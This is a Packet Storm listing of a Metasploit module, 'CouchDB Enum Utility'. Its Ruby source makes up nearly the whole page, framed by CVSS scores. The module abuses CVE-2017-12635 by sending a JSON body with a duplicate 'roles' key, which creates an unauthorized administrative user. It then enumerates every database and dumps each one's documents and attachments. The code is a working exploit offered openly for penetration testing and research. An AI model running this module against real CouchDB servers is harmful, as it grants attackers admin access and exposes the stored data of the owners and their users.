Lucene search

K
packetstormRoberto S. Soares, Max Justicz, Green-m, Hendrik Van Belleghem, metasploit.comPACKETSTORM:180908
HistoryAug 31, 2024 - 12:00 a.m.

CouchDB Enum Utility

2024-08-3100:00:00
Roberto S. Soares, Max Justicz, Green-m, Hendrik Van Belleghem, metasploit.com
packetstormsecurity.com
24
metasploit
couchdb
enumeration

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CouchDB Enum Utility',  
'Description' => %q{  
This module enumerates databases on CouchDB using the REST API  
(without authentication by default).  
},  
'References' =>  
[  
['CVE', '2017-12635'],  
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],  
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']  
],  
'Author' =>  
[  
'Max Justicz', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module  
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements  
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(5984),  
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),  
OptBool.new('SERVERINFO', [true, 'Print server info', false]),  
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),  
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),  
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),  
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])  
  
])  
end  
  
def valid_response(res)  
return res.code == 200 && res.headers['Server'].include?('CouchDB')  
end  
  
def get_version  
@version = nil  
  
begin  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
rescue Rex::ConnectionError  
vprint_bad("#{peer} - Connection failed")  
return false  
end  
  
unless res  
vprint_bad("#{peer} - No response, check if it is CouchDB.")  
return false  
end  
  
if res && res.code == 401  
print_bad("#{peer} - Authentication required.")  
return false  
end  
  
if res && res.code == 200  
res_json = res.get_json_document  
  
if res_json.empty?  
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")  
return false  
end  
  
@version = res_json['version'] if res_json['version']  
return true  
end  
  
vprint_warning("#{peer} - Version not found")  
true  
end  
  
def check  
return Exploit::CheckCode::Unknown unless get_version  
version = Rex::Version.new(@version)  
return Exploit::CheckCode::Unknown if version.version.empty?  
vprint_good("#{peer} - Found CouchDB version #{version}")  
  
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))  
  
Exploit::CheckCode::Safe  
end  
  
def get_dbs(auth)  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
  
temp = JSON.parse(res.body)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e  
print_error("#{peer} - The following Error was encountered: #{e.class}")  
return  
end  
  
unless valid_response(res)  
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")  
return  
end  
  
print_status("#{peer} - Enumerating Databases...")  
results = JSON.pretty_generate(temp)  
print_good("#{peer} - Databases:\n\n#{results}\n")  
path = store_loot(  
'couchdb.enum',  
'application/json',  
rhost,  
results,  
'CouchDB Databases'  
)  
  
print_good("#{peer} - File saved in: #{path}")  
res.get_json_document.each do |db|  
r = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),  
'method'=> 'GET',  
'authorization' => auth,  
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}  
)  
if r.code != 200  
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")  
return  
end  
temp = JSON.parse(r.body)  
results = JSON.pretty_generate(temp)  
path = store_loot(  
"couchdb.#{db}",  
"application/json",  
rhost,  
results,  
"CouchDB Databases"  
)  
print_good("#{peer} - #{db} saved in: #{path}")  
end  
end  
  
def get_server_info(auth)  
begin  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
  
temp = JSON.parse(res.body)  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e  
print_error("#{peer} - The following Error was encountered: #{e.class}")  
return  
end  
  
unless valid_response(res)  
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")  
return  
end  
  
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}  
  
print_good("#{peer} - #{JSON.pretty_generate(temp)}")  
report_service(  
host: rhost,  
port: rport,  
name: 'couchdb',  
proto: 'tcp',  
info: res.body  
)  
end  
  
def create_user  
username = datastore['HttpUsername']  
password = datastore['HttpPassword']  
roles = datastore['ROLES']  
timeout = datastore['TIMEOUT']  
version = @version  
  
data = %Q({  
"type": "user",  
"name": "#{username}",  
"roles": ["#{roles}"],  
"roles": [],  
"password": "#{password}"  
})  
res = send_request_cgi(  
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username  
'method' => 'PUT',  
'ctype' => 'text/json',  
'data' => data,  
}, timeout)  
  
unless res && res.code == 200  
print_error("#{peer} - Change Failed")  
return  
end  
  
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")  
end  
  
def run  
username = datastore['HttpUsername']  
password = datastore['HttpPassword']  
  
if datastore['CREATEUSER']  
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version  
version = Rex::Version.new(@version)  
print_good("#{peer} - Found CouchDB version #{version}")  
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))  
end  
auth = basic_auth(username, password) if username && password  
get_server_info(auth) if datastore['SERVERINFO']  
get_dbs(auth)  
end  
end  
`

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low